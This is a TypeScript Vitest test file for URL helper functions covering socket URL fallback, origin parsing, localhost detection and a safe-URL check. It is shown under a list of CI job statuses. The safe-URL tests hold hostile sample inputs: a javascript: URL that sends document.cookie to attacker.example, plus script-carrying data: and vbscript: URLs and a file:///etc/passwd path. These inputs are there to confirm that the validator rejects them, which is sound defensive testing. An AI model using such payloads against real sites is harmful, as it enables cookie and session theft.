d25d482dc2
Publish CLI Package / publish-npm (push) Waiting to run
Publish Python SDK / publish-pypi (push) Waiting to run
Publish TypeScript SDK / publish-npm (push) Waiting to run
CI / Migrate Dev DB (push) Has been skipped
CI / Detect Version (push) Has been cancelled
CI / Migrate DB (push) Has been cancelled
CI / Build Dev ECR (./docker/app.Dockerfile, ECR_APP) (push) Has been cancelled
CI / Build Dev ECR (./docker/db.Dockerfile, ECR_MIGRATIONS) (push) Has been cancelled
CI / Build Dev ECR (./docker/pii.Dockerfile, ECR_PII) (push) Has been cancelled
CI / Build Dev ECR (./docker/realtime.Dockerfile, ECR_REALTIME) (push) Has been cancelled
CI / Deploy Trigger.dev (Dev) (push) Has been cancelled
CI / Build AMD64 (./docker/app.Dockerfile, ECR_APP, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build AMD64 (./docker/db.Dockerfile, ECR_MIGRATIONS, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build AMD64 (./docker/pii.Dockerfile, ECR_PII, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build AMD64 (./docker/realtime.Dockerfile, ECR_REALTIME, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/app.Dockerfile, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/db.Dockerfile, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/pii.Dockerfile, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/realtime.Dockerfile, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Check Docs Changes (push) Has been cancelled
CI / Process Docs (push) Has been cancelled
CI / Create GitHub Release (push) Has been cancelled
CI / Test and Build (push) Has been cancelled
169 lines
5.4 KiB
TypeScript
169 lines
5.4 KiB
TypeScript
/**
|
|
* @vitest-environment jsdom
|
|
*/
|
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
|
|
|
const { mockGetEnv } = vi.hoisted(() => ({
|
|
mockGetEnv: vi.fn<(key: string) => string | undefined>(),
|
|
}))
|
|
|
|
vi.mock('@/lib/core/config/env', () => ({
|
|
env: {},
|
|
getEnv: mockGetEnv,
|
|
}))
|
|
|
|
vi.mock('@/lib/core/config/env-flags', () => ({
|
|
isProd: false,
|
|
}))
|
|
|
|
import {
|
|
getBrowserOrigin,
|
|
getSocketUrl,
|
|
isLocalhostUrl,
|
|
isSafeHttpUrl,
|
|
parseOriginList,
|
|
} from '@/lib/core/utils/urls'
|
|
|
|
function setLocation(url: string) {
|
|
Object.defineProperty(window, 'location', {
|
|
value: new URL(url),
|
|
writable: true,
|
|
configurable: true,
|
|
})
|
|
}
|
|
|
|
describe('getBrowserOrigin', () => {
|
|
it('returns the page origin in the browser', () => {
|
|
setLocation('https://example.com/some/path')
|
|
expect(getBrowserOrigin()).toBe('https://example.com')
|
|
})
|
|
})
|
|
|
|
describe('getSocketUrl', () => {
|
|
beforeEach(() => {
|
|
mockGetEnv.mockReset()
|
|
mockGetEnv.mockReturnValue(undefined)
|
|
})
|
|
|
|
afterEach(() => {
|
|
vi.restoreAllMocks()
|
|
})
|
|
|
|
it('uses NEXT_PUBLIC_SOCKET_URL when explicitly set', () => {
|
|
mockGetEnv.mockImplementation((key) =>
|
|
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'https://socket.example.com' : undefined
|
|
)
|
|
setLocation('https://app.example.com/')
|
|
expect(getSocketUrl()).toBe('https://socket.example.com')
|
|
})
|
|
|
|
it('returns the page origin when served from a non-localhost host', () => {
|
|
setLocation('https://10.0.3.36/signup')
|
|
expect(getSocketUrl()).toBe('https://10.0.3.36')
|
|
})
|
|
|
|
it('falls back to localhost:3002 when served from localhost', () => {
|
|
setLocation('http://localhost:3000/')
|
|
expect(getSocketUrl()).toBe('http://localhost:3002')
|
|
})
|
|
|
|
it('falls back to localhost:3002 when served from 127.0.0.1', () => {
|
|
setLocation('http://127.0.0.1:3000/')
|
|
expect(getSocketUrl()).toBe('http://localhost:3002')
|
|
})
|
|
|
|
it('explicit env var wins over the localhost fallback', () => {
|
|
mockGetEnv.mockImplementation((key) =>
|
|
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'http://realtime.local:3002' : undefined
|
|
)
|
|
setLocation('http://localhost:3000/')
|
|
expect(getSocketUrl()).toBe('http://realtime.local:3002')
|
|
})
|
|
|
|
it('treats whitespace-only env var as unset', () => {
|
|
mockGetEnv.mockImplementation((key) => (key === 'NEXT_PUBLIC_SOCKET_URL' ? ' ' : undefined))
|
|
setLocation('https://app.example.com/')
|
|
expect(getSocketUrl()).toBe('https://app.example.com')
|
|
})
|
|
})
|
|
|
|
describe('parseOriginList', () => {
|
|
it('returns an empty array for undefined, null, or empty input', () => {
|
|
expect(parseOriginList(undefined)).toEqual([])
|
|
expect(parseOriginList(null)).toEqual([])
|
|
expect(parseOriginList('')).toEqual([])
|
|
expect(parseOriginList(' ')).toEqual([])
|
|
})
|
|
|
|
it('parses comma-separated origins and normalizes them', () => {
|
|
expect(parseOriginList('https://a.example.com, https://b.example.com/path')).toEqual([
|
|
'https://a.example.com',
|
|
'https://b.example.com',
|
|
])
|
|
})
|
|
|
|
it('dedupes equal origins after normalization', () => {
|
|
expect(
|
|
parseOriginList('https://a.example.com,https://a.example.com/foo,https://a.example.com')
|
|
).toEqual(['https://a.example.com'])
|
|
})
|
|
|
|
it('drops invalid entries and reports them via the callback', () => {
|
|
const invalid: string[] = []
|
|
const result = parseOriginList('https://ok.example.com, not-a-url, ', (v) => invalid.push(v))
|
|
expect(result).toEqual(['https://ok.example.com'])
|
|
expect(invalid).toEqual(['not-a-url'])
|
|
})
|
|
|
|
it('preserves non-default ports in the origin', () => {
|
|
expect(parseOriginList('http://10.0.3.36:8080')).toEqual(['http://10.0.3.36:8080'])
|
|
})
|
|
})
|
|
|
|
describe('isLocalhostUrl', () => {
|
|
it('matches localhost variants', () => {
|
|
expect(isLocalhostUrl('http://localhost:3000')).toBe(true)
|
|
expect(isLocalhostUrl('http://127.0.0.1')).toBe(true)
|
|
expect(isLocalhostUrl('https://localhost')).toBe(true)
|
|
})
|
|
|
|
it('does not match public hostnames or invalid URLs', () => {
|
|
expect(isLocalhostUrl('https://10.0.3.36')).toBe(false)
|
|
expect(isLocalhostUrl('https://app.example.com')).toBe(false)
|
|
expect(isLocalhostUrl('not-a-url')).toBe(false)
|
|
expect(isLocalhostUrl('')).toBe(false)
|
|
})
|
|
})
|
|
|
|
describe('isSafeHttpUrl', () => {
|
|
it('allows absolute http(s) URLs', () => {
|
|
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
|
|
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
|
|
})
|
|
|
|
it('allows same-origin relative URLs (resolved against the browser origin)', () => {
|
|
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
|
|
})
|
|
|
|
it('rejects javascript: URLs', () => {
|
|
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
|
|
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
|
|
})
|
|
|
|
it('rejects other script-capable or non-navigable schemes', () => {
|
|
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
|
|
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
|
|
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
|
|
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
|
|
})
|
|
|
|
it('treats relative junk as same-origin http (safe) rather than throwing', () => {
|
|
expect(isSafeHttpUrl('')).toBe(true)
|
|
expect(isSafeHttpUrl('not a url')).toBe(true)
|
|
})
|
|
|
|
it('rejects unparseable absolute input without throwing', () => {
|
|
expect(isSafeHttpUrl('http://')).toBe(false)
|
|
})
|
|
})
|